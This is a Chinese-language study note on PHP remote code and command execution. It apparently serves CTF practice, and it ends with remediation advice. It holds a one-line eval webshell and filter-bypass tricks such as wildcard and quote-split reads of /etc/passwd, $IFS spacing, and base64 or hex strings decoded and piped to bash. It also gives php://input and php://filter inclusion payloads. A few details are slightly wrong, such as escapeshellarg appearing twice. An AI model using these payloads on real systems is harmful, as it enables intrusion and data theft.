RCE漏洞
简介
- RCE(remote code/command execute) 远程代码/命令执行漏洞
- RCE漏洞是两个漏洞:
- 代码执行漏洞 # 针对后端语言!
- 命令执行漏洞 # 针对系统!
产生原因
在 Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,从而随意执行系统命令,这就是命令执行漏洞,它属于高危漏洞之一。
在操作系统中,“&、|、||”等都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,从而造成漏洞。
ping命令
Ping命令的主要作用是通过发送数据包并接收应答信息来检测两台计算机之间的网络。ping是一个十分基本但又十分重要的TCP/IP网络工具。最早用来方便运维人员检查系统,现在它的作用主要为:
- 通常用来检测网络的是否连通和测试网络速度
- 也可以根据域名得到相应主机的IP地址
- 根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量
因为具备以上功能,ping命令常常被黑客用来进行网络扫描和攻击
常见函数
- 命令执行函数
- system()
- 把字符串当做系统命令运行:
<?php system('whoami');?>
- 把字符串当做系统命令运行:
- exec()
- 把字符串当做系统命令运行:
<?php echo exec('whoami');?>
- 把字符串当做系统命令运行:
- shell_exec()
- 不会输出结果,保存所有回显
- pcntl_exec()
- popen()
- 函数用于执行外部命令,并打开一个管道连接,可以通过该管道连接与命令的输入或输出进行交互
popen("1","2”)
:1处为要执行的命令,2处选择r(read只读)w(只写)这里选择r会报错
- proc_popen()
- passthru()
- 把字符串当作系统命令运行:
<?php passthru('whoami');?>
- 把字符串当作系统命令运行:
- system()
- 代码执行函数
eval()
:将字符串作为php代码执行,里面可以跟上面可以在php中使用的系统执行命令- 一般用于写入一句话木马,如:
<?php @eval($_POST['pwd']);?>
- 一般用于写入一句话木马,如:
assert()
:和eval相同call_user_func()
:回调函数,第一个参数为函数名,第二个参数为函数的参数常用来调用存在漏洞利用的函数call_user_func_array()
:回调函数,第一个参数为函数名,第二个参数为函数参数的数组
- 其他利用的函数
var_dump()
:用于输出信息,常用exec()配合echo()
:和var_dump()相同printf()
:和var_dump()相同preg_replace()函数
:执行一个正则表达式的搜索和替换
示例:
<?php
$subject='hello hack';
$pattern='/hack/';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>
preg_replace()函数搜索subject中匹配pattern的部分,以replacement进行替换。
命令连接符(Linux下也能用)
常用命令:
cmd1 ; cmd2
:使多个命令顺序执行,前面命令和后面命令的都会执行cmd1 & cmd2
:命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行cmd1 && cmd2
:前面的语句为假,则直接出错,后面的也不执行;前面为真,都执行(与)cmd1 | cmd2
:前面命令正确,直接执行后面的语句;前面的语句为假,则直接出错,后面的也不执行cmd1 || cmd2
:前面出错,执行后面的;前面为真,只执行前面的(或)- 注:除
;
以外的连接符可能不是按顺序进行的(maybe)
注释符,
类似c语言中的//注释
Windows的注释符号为::
Linux的注释符号为#
转义字符
类似c语言中的\转义符
- c\at hello.txt //命令正常执行
Windows的注释符号为^
Linux的注释符号为\
绕过防护的方法
通配符
1、?
:匹配单个字符或匹配多个字符就需要用多个?连接,代表一个未知字符
- cat hello.??? //利用?匹配txt
2、*
:*代表任意数量的字符 - cat hel* //查看当前目录下所有以he开头的文件
3、[]
:代表一定有一个[]内的字符(非任意字符),例如[abcd]代表有其中任意一个字符,可以是a,b,c,d中任意一个
示例:一个常用的读取密码命令:cat /etc/passwd
;
cat hel[l]o.txt //命令正常执行,但是不可加到命令关键字里面。
ca[t] hel[l]o.txt //报错
使用了?通配符之后,他就可能有很多种变化,比如这两种,而这些亲测都是可以使用的
cat /?tc/?as?wd
和cat /*tc/*as*wd
这里需要注意的也是一样,不要局限自己的思维,几种通配符也是可以搭配使用的
与正则表达式的区别:正则中,?匹配前面的字符或表达式一次或零次,*匹配前面的字符或表达式多次或零次。
连接符
单双引号反斜杠" " ‘ ’
如:/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
未初始化变量
未初始化的变量值都是null,例如a , a,a,b,在linux环境下输出都为null ,所以可以用未初始化变量加在一些命令的末尾,来绕过一些黑名单
示例: cat$a /etc$a/passwd$a
空格代替
<
<>
:针对数据包,如.txt文件%20
:针对web传参%09
:针对web传参%0a
$IFS
$IFS$9
:针对数据包${IFS}
:针对数据包()
cat替换命令
- tac 与cat相反,按行反向输出
- more 按页显示
- less 与less类似
- head 从文件首行查看
- tail 从文件末尾查看
- nl 与cat相同会显示行数
- grep 直接查找文件中的关键字
%0a绕过
- %0a代表换行,通过%0a能够注入一条新的命令
- 有些函数只会识别和处理第一行的相关字符,使用%0a将数据换行,可以绕过一些函数执行命令
花括号{}
- linux中,可以使用花括号执行系统命令,同时花括号中可以使用逗号代替空格。
- 针对数据包,{ip,addr} , {cat,hello.txt},{ls,},如果是单命令也需要加上一个逗号
引号执行(绕过)
- cat fl''ag
- cat fl''a""g
- cat he""Il"o.txt //命令正常执行
目录分隔符绕过
cd 文件;cd 文件;......
base64编码
- 原理
- echo "abcd" | base64(命令行进行base64加密)
- echo "YWJjzAo=" | base64 -d(命令行对base64解密)
- 实现输入的命令中没有ls但执行ls的功能
- echo "ls" | base64
- echo "bHMK" | base64 -d | bash
- echo "bHMK" | base64 -d | sh(将命令经过base64解码后的命令ls进行执行)
- 实现输入的命令中没有cat但执行cat的功能(上面的ls要换成cat)
cat [file]|base64
还可以用base64 [file]
,结果会以base64编码形式输出
hex编码(需要装xxd命令)
- -r 解码
- -p 省略0x
- echo "abcd" | xxd(命令行进行hex编码)
- echo "616263640a" | xxd -r -p(命令行进行hex解码)
- echo "ls" | xxd
- echo "6c730a" xxd -r -p | bash(执行ls命令)
- echo "6c730a" xxd -r -p | sh(执行ls命令)
偶读拼接(过滤某个单词)
原理:利用变量将最后的字符拼接起来
- 例如当前目录有个hello.txt 的文件,可以使用”a=hel;b=lo;cat \(a\)b.txt“进行读取
- 同理执行—条命令可以使用a=l;b=s;\(a\)b进行执行。
文件包含漏洞
利用的前提条件
(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参
数的方式引入
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问
文件包含获取 webshell 的条件:
(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞
例如<?php eval($_REQUEST['ctfhub']);?>
中有一个eval漏洞,可通过POST请求改变ctfhub
进行操作如ctfhub=system('ls');
(注:分号一定要加上)。通过get(包含文件) post(传参)并用来得到flag
PHP://input
诀窍:在没有shell脚本的情况下访问 flag ,第一时间想到了 上传文件漏洞,上传shell.php,但如果没有上传点只得作罢,换个思路:我们是否可以用 burpsuite 来进行抓包,在BP上面改包,添加上我们想要的shell.php的内容,但问题来了,如果是POST,那么这时候我们添加的内容是以post数据流存在的,没有以代码的方式执行
- 在php伪协议中存在php://input
- php://input
- 作用:是个可以访问请求的原始数据的只读流。在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)
- 条件:allow_url_fopen=off/on;allow_url_include=on
- 查看题中的 phpinfor 查看php情况,检查allow_url_include是否为on
- 使用:BP抓包(当然也可以使用Hackbar。Ps.有时候hackbar不知道为什么出不来)将GET请求更改为POST请去,然后修改URL启用php://input,然后在body中加入php代码如
<?php system('ls /');
。以下图代码漏洞为例修改URL
- 在php伪协议中存在php://filter
- php://filter
- 条件:allow_url_fopen=off/on;allow_url_include=off/on
- 作用:是一种元封装器,设计用来数据流打开式的筛选过滤应用。这对于一体式的文件函数非常有用。在上面那个例子中php://filter也是能够使用的
- php://filter的参数
- read 用读链的过滤器读数据流
- write 用写链的过滤器写数据流
- resource 声明过滤哪一个数据流
- 不指定读写 当不指定读写时会自己根据情况而定
- 可以直接构造:
?file=php://filter/resource=../../../flag...(文件名)
- 如果还要进行base64编码:
http://URL/?file=php://filter/read=convert.base64-encode/resource=../../../flag
漏洞常见位置
各种cms框架的命令执行漏洞是最多的,着重在这些地方找,除此之外就是插件位置,插件因为各种原因经常也需要执行系统命令,当然其他的地方也有,只是说这两个位置最多。
命令执行漏洞修复
一、PHP配置文件禁用敏感函数
通过php配置文件中的disable_functions禁用敏感函数。
二、使用相关过滤函数处理相关参数
1、escapeshellarg函数:把字符串转码为可以在 shell 命令里使用的参数,过滤命令中的参数。
2、escapeshellarg函数:shell 元字符转义,过滤命令。
三、正则过滤
示例:preg_match_all("/cat/", $ip, $m)
四、函数过滤
strpos(,,)
:用于查找字符串,第一个参数必须,为要搜索的字符串,第二个参数必须,为要查找的字符串,第三个参数可选,规定在何处开始搜索- 例如用于查找GET请求的变量中是否有
flag
- 例如用于查找GET请求的变量中是否有
substr(,,)+include()
:substr()
是php中的一个字符串处理函数,用于返回字符串的一部分,第一个参数为字符串。include()
会将指定文件的内容包含到当前脚本中,如果文件包含PHP代码,那么这些代码将被执行。- 漏洞示例:
if (substr($_GET["file"],0,6)==="php://") {include($_GET["file"]);}
- 如果存在'file'参数,检查它的值的前六个字符是否等于"php://"。这是一个危险的操作,因为它允许通过URL传递特殊流协议(如php://filter、php://input等)来执行任意代码。
- 漏洞示例:
error_reporting(E_ALL);
:这行代码设置了PHP的错误报告级别为E_ALL,意味着PHP将报告所有错误,包括警告和通知。这在开发过程中可以帮助调试,但在生产环境中可能会暴露敏感信息,因此通常不建议这样做。
注
__isset()
判断一个变量是否已设置, 即变量已被声明,且其值为ture